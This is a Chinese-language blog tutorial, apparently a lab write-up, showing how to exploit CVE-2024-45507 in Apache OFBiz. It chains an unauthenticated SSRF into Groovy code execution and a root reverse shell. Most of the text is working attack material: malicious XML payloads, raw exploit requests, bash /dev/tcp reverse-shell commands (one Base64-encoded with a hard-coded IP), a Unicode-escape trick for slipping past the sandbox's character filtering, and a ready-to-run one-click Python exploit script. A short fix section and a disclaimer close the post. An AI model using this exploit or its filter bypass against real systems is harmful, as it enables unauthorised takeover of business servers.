【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)
演示视频
如果觉得看文字不够直观,完整的操作演示在这里:
一、亮点
一个 POST 请求,不需要账号密码,就能让服务器加载你指定的远程文件并执行里面的代码——CVE-2024-45507 就是这么直接。Apache OFBiz 18.12.15 及之前所有版本都受影响。
但我第一次复现的时候,在反弹 Shell 这一步卡了两天。id 命令明明能执行,把命令换成 bash -i >& /dev/tcp/IP/PORT 0>&1 之后,nc 监听一片空白——什么都没收到。排查下来发现,问题出在 Groovy 沙箱对特殊字符的过滤上。这篇文章会把我从踩坑到绕过的完整过程拆给你看,包括每一步为什么失败、怎么分析的、最终怎么用 UTF-16 编码绕过拿到 Shell。
二、漏洞背景
Apache OFBiz 是 Apache 基金会下面的开源 ERP 系统,采购、销售、库存、财务、制造都包在里面。国内银行、电商、制造业有不少在用——知道它的人不多,但它干的活儿还挺关键的。
漏洞出在 OFBiz 的 WebTools 模块里。有个接口叫 /webtools/control/forgotPassword/StatsSinceStart,它接收一个参数 statsDecoratorLocation,本意是让管理员指定一个统计数据的装饰器文件路径。问题是——开发团队忘了对这个参数做 URL 白名单校验。你传什么它就加载什么,本地的、远程的,照单全收。
光是这样也就算了,顶多是个 SSRF。但 OFBiz 解析 XML 的时候,支持在 XML 里内嵌 Groovy 脚本——Groovy 是 JVM 上的一门动态语言,能直接调用 Java 类库,包括 Runtime.exec()。SSRF 负责把恶意 XML 文件"运"进来,Groovy 负责把里面的代码"拆开执行"——两个机制单独存在都没什么,凑在一起就出大事了。
这就好比你小区门卫不查外卖员的身份,随便哪个人穿个外卖马甲就能进。然后你家里还有个不锁的保险箱,保险箱里装着服务器的 root 权限——外卖员进小区是前一道口子,保险箱没锁是后一道口子,两个问题串在一起,家底儿就全曝光了。
漏洞影响 18.12.15 及之前所有版本,官方在 18.12.16 中修了。由于这个接口不需要登录就能访问,漏洞公开后立刻被大规模扫描。
三、环境搭建
Vulhub 已经集成好了这个漏洞环境,一行命令:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/ofbiz/CVE-2024-45507
docker compose up -d
启动后浏览器访问 https://你的服务器IP:8443/accounting,看到 OFBiz 登录页面说明靶场就绪。

两个细节别搞错:第一,协议是 https 不是 http;第二,端口是 8443 不是 8080。很多人在这两个地方反复踩坑,上去就 http://IP:8080,浏览器转半天打不开,排查一圈才发现压根协议和端口都不对。
四、漏洞复现
复现分三步:构造恶意 XML → 托管文件 → 发送请求触发。我们先从基础命令执行开始,确认漏洞存在,再往反弹 Shell 走。
4.1 创建恶意 XML 文件
在攻击机上创建 payload.xml:
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'touch /tmp/success'.execute();}"/>
</actions>
</section>
</screen>
</screens>
关键在 <set value=.../> 这一行。groovy: 前缀告诉 OFBiz 的 XML 解析器——引号里不是普通字符串,是 Groovy 代码,拿去执行。'touch /tmp/success'.execute() 这行 Groovy 代码的意思是:在 Shell 里跑 touch /tmp/success,也就是在 /tmp 目录下创建一个叫 success 的空文件。文件创建成功,说明命令执行通道是通的。
4.2 启动 HTTP 服务托管 XML
在攻击机上起一个 HTTP 服务,让目标服务器能拉到恶意文件:
python3 -m http.server 25002

注意这个终端窗口别关,关了服务就断了。
4.3 发送请求触发漏洞
向目标发送 POST 请求,通过 statsDecoratorLocation 参数把恶意 XML 的 URL 传过去:
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 目标IP:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://攻击IP:25002/payload.xml
推荐用 Yakit 的 MITM 劫持功能——先访问目标 URL 触发拦截,把 GET 改成 POST,把上面的数据包内容贴进去就行。



发送后,进目标容器验证命令是否执行:
docker ps -a
docker exec -it <容器ID> /bin/bash
ls /tmp/success
输出 /tmp/success 说明命令执行成功,漏洞复现完成。

五、GetShell:拿下服务器
能执行 touch /tmp/success 只是证明漏洞存在。真正有价值的是利用这个漏洞拿到服务器的 Shell 控制权。这一节是全文核心——网上绝大多数教程止步于 id 命令,我把从失败到成功的每一步拆给你看。
5.1 第一次尝试:直接写反弹 Shell 命令(失败)
最直观的想法——把 payload.xml 里的命令直接换成反弹 Shell:
bash -i >& /dev/tcp/攻击IP/25003 0>&1
修改后的 payload.xml:
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'bash -i >& /dev/tcp/攻击IP/25003 0>&1'.execute();}"/>
</actions>
</section>
</screen>
</screens>
攻击端提前开监听:
nc -lvp 25003
发送请求后——监听端纹丝不动,什么也没收到。
我当时的第一反应是"是不是监听端口写错了?"来回检查了好几遍 IP 和端口,确认无误。然后怀疑是不是反弹命令本身有问题,在本地试了一遍——命令没问题。最后翻容器日志才发现:OFBiz 的 Groovy 引擎在解析表达式时,对 &、>、/ 这些特殊字符做了过滤或转义,命令在到达 Shell 之前就被拦下来了。
换句话说,touch /tmp/success 能执行是因为没有特殊字符。反弹 Shell 命令里全是 &、>、/,在 Groovy 解析阶段就被截断了——Shell 根本没见过这条命令。
5.2 第二次尝试:Base64 编码绕过(部分成功,不稳定)
既然特殊字符是罪魁祸首,那就把命令编码,让 Groovy 解析的时候看不到这些字符。
先对反弹 Shell 命令做 Base64 编码:
echo -n "bash -i >& /dev/tcp/攻击IP/25003 0>&1" | base64
编码结果类似 YmFzaCAtaSA+JiAvZGV2L3RjcC8...。然后用 bash -c 配合管道解码执行:
bash -c {echo,<Base64编码串>}|{base64,-d}|{bash,-i}
这里解释一下这个管道结构的含义——第一步 {echo,...} 是把 Base64 字符串输出,第二步 {base64,-d} 是解码还原成原始命令,第三步 {bash,-i} 是把解码后的命令交给 bash 以交互模式执行。三个步骤用管道符 | 串起来,数据从左流到右。
把它放进 payload.xml:
<set value="${groovy:'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();}"/>
结果:监听端偶尔能收到连接,但极不稳定——有时连上了,有时杳无音信。同样的请求发十次,大概能成个两三次。
排查发现:虽然 Base64 编码解决了 >& 和 /dev/tcp 的问题,但 {echo,...}|{base64,-d}|{bash,-i} 这个结构里仍然有 {、}、| 这些特殊字符。OFBiz 的 Groovy 沙箱对它们的处理时好时坏——同样的字符有时放过有时拦截,说明沙箱的过滤逻辑本身就不一致。这条路能走,但不靠谱。
5.3 第三次尝试:UTF-16 编码(成功)
需要一个能彻底消灭所有特殊字符的方案。UTF-16 编码(Unicode 转义序列)正好满足——把每个字符转成 \uXXXX 格式的纯文本,字母、数字、符号、空格,一视同仁地变成十六进制转义序列。Groovy 引擎在解析字符串时会自动把这些 \uXXXX 还原为原始字符然后执行。
编码过程,分步拆解:
第一步,把 Base64 编码后的命令封装成 bash -c 格式(跟 5.2 一样):
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}
第二步,把这条命令逐字符转成 Unicode 转义序列。规则:每个字符取它的 Unicode 码点(十进制),转成 4 位十六进制,前面加 \u。
举个例子:字符 b 的码点是 98,十六进制是 0062,所以写成 \u0062。字符 a → \u0061。空格(码点 32)→ \u0020。{(码点 123)→ \u007B。|(码点 124)→ \u007C。
你可以用在线 Unicode 编码工具完成这一步——把命令贴进去,选"Unicode 转义序列"输出格式。也可以用 Python 一行搞定:
cmd = "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}"
print(''.join(f'\\u{ord(c):04x}' for c in cmd))
编码结果看起来就是一大串 \uXXXX:
\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D
最终 payload.xml:
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D'.execute();}"/>
</actions>
</section>
</screen>
</screens>
注意:UTF-16 编码字符串前后必须有单引号,execute() 方法调用不能漏。
5.4 开启监听并触发
攻击端启动 nc 监听:
nc -lvp 25003

确保 HTTP 服务还在跑着(托管了更新后的 payload.xml),然后重新发送 POST 请求:
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 目标IP:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://攻击IP:25002/payload.xml

5.5 验证 Shell
回到监听终端,看到连接成功提示后,跑几条命令确认控制权:
uname -a
whoami
ls /

能正常输出系统信息和目录列表,root 权限——服务器已经在你的控制之下了。从 SSRF 到反弹 Shell,全链路走通。
回过头看,这个漏洞的利用链可以总结为三层递进:SSRF 负责把恶意文件送到服务器门口 → Groovy 脚本引擎 负责把文件里的代码拆开执行 → UTF-16 编码 负责绕过沙箱对特殊字符的过滤。三层缺一不可,每一层解决一个问题,组合起来才完成了整条攻击链。
六、踩坑与避坑
坑1:直接反弹 Shell——特殊字符被过滤
本来以为把 touch /tmp/success 直接换成 bash -i >& /dev/tcp/IP/PORT 0>&1 就能弹回来,结果 nc 监听一片空白。排查了好一会儿,翻容器日志才发现——Groovy 引擎在执行前对 &、>、/ 这些字符做了过滤,命令到不了 Shell 层就没了。
问题根因是两层解析之间的冲突:Groovy 表达式的字符串解析阶段就把特殊字符拦截了,后续 Shell 层根本没见过它们。解决方案就是 5.3 节的 UTF-16 编码——把所有字符统一转成 \uXXXX 格式,Groovy 解析时看到的是纯文本,还原成原始命令时已经过了过滤环节。
就这么简单?对,知道了就这么简单,不知道能卡你两天。
坑2:SSRF 请求发出去了,服务器不回连
发送 POST 请求后,目标服务器没有任何回连迹象——我在攻击端的 HTTP 服务日志里看不到任何 GET 请求。排查了一圈才发现问题不在目标,在攻击端自己的安全组/防火墙——25002 端口的入站规则没开。
很多人习惯性地只检查目标服务器的防火墙,忘了攻击端也要放行入站流量。毕竟 SSRF 的本质是目标服务器主动连接攻击端,对攻击端来说这是入站连接,安全组必须放行。
解决方案:
# Linux
iptables -A INPUT -p tcp --dport 25002 -j ACCEPT
# 或者直接在云控制台的安全组里加一条入站规则,放行 TCP 25002
坑3:UTF-16 编码后仍然失败——漏掉了空格或换行
写脚本生成编码串的时候,如果不小心在原始命令前后多留了空格或换行,编码结果就会多出 \u0020 或 \u000a,导致 bash 解析命令时把多余字符当参数处理,反弹失败。
解决方案也很简单——编码前先确认命令字符串是干净的:
cmd = "bash -c {echo,...}|{base64,-d}|{bash,-i}"
print(repr(cmd)) # 检查前后有没有多余空格或换行
另外注意 execute() 方法调用后面必须跟对括号,写成 execute() 而不是 execute。少一对括号,Groovy 不会报错但也不会执行,排查起来很迷惑——命令看着没问题,就是不生效。
七、一键利用脚本
每次手动发包太慢,我把编码、托管、发送三步整合成一个 Python 脚本。改好 ATTACKER_IP、TARGET_IP、REVERSE_PORT 三个变量,直接跑就行。
#!/usr/bin/env python3
import subprocess
import base64
import sys
ATTACKER_IP = "192.168.1.100" # 你的攻击端 IP
TARGET_IP = "192.168.1.200" # 目标服务器 IP
HTTP_PORT = 25002 # HTTP 服务端口(托管 XML)
REVERSE_PORT = 25003 # 反弹 Shell 端口
def to_unicode_escape(s):
"""将字符串逐字符转为 Unicode 转义序列"""
return ''.join(f'\\u{ord(c):04x}' for c in s)
# 构造反弹命令 → Base64 → bash -c 封装 → UTF-16 编码
rev_shell = f"bash -i >& /dev/tcp/{ATTACKER_IP}/{REVERSE_PORT} 0>&1"
b64_cmd = base64.b64encode(rev_shell.encode()).decode()
full_cmd = f"bash -c {{echo,{b64_cmd}}}|{{base64,-d}}|{{bash,-i}}"
unicode_cmd = to_unicode_escape(full_cmd)
payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${{groovy:'{unicode_cmd}'.execute();}}"/>
</actions>
</section>
</screen>
</screens>'''
with open("payload.xml", "w") as f:
f.write(payload)
print("[+] payload.xml 已生成")
subprocess.Popen([sys.executable, "-m", "http.server", str(HTTP_PORT)],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(f"[+] HTTP 服务已启动: http://{ATTACKER_IP}:{HTTP_PORT}")
import requests
import urllib3
urllib3.disable_warnings()
target_url = f"https://{TARGET_IP}:8443/webtools/control/forgotPassword/StatsSinceStart"
data = {"statsDecoratorLocation": f"http://{ATTACKER_IP}:{HTTP_PORT}/payload.xml"}
print(f"[+] 发送 SSRF 请求...")
r = requests.post(target_url, data=data, verify=False, timeout=10)
print(f"[+] 响应状态码: {r.status_code}")
print(f"[*] 请在另一终端执行: nc -lvp {REVERSE_PORT}")
用法:
# 终端1:先开监听
nc -lvp 25003
# 终端2:运行脚本
python3 exploit.py
脚本跑完会自动完成 XML 生成、HTTP 托管、SSRF 请求三步。回到终端1,等着 Shell 弹回来。
八、修复建议
- 升级版本:将 Apache OFBiz 升级到 18.12.16 或更高版本,这是最彻底的修复方式
- 接口加认证:对
/webtools/control/forgotPassword/StatsSinceStart接口增加身份认证,禁止未登录用户访问 - URL 白名单:对
statsDecoratorLocation参数实施严格的 URL 白名单,仅允许加载本地或受信路径下的文件 - 禁用外部 XML 加载:配置 XML 解析器禁止加载外部实体和远程资源,切断 SSRF 攻击链
- Groovy 沙箱加固:在生产环境禁用 Groovy 脚本的动态执行,或对脚本内容实施严格的静态审查
九、写在最后
这个漏洞的本质是两个看似无害的机制被串了起来——SSRF 负责"送货",Groovy 负责"拆包"。单独看哪一边都觉得"问题不大",但组合在一起就是高危 RCE。开发时如果只关注单点安全而忽略了组件之间的交互面,漏洞就会从这些夹缝里钻出来。
漏洞的利用思路跟专栏里之前写过的 Apache HugeGraph CVE-2024-27348 有相似之处——都是应用内置了强大的脚本执行能力,但对输入的校验做得不够。如果你对这种"脚本引擎降级攻击"的模式感兴趣,可以翻翻那篇。
如果你是第一次做漏洞复现,建议先完整跟做一遍,再试着改命令、换端口,慢慢就摸到规律了。
复现过程中有问题直接评论区留言,我看到了会回。
安全声明:本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。
195

被折叠的 条评论
为什么被折叠?



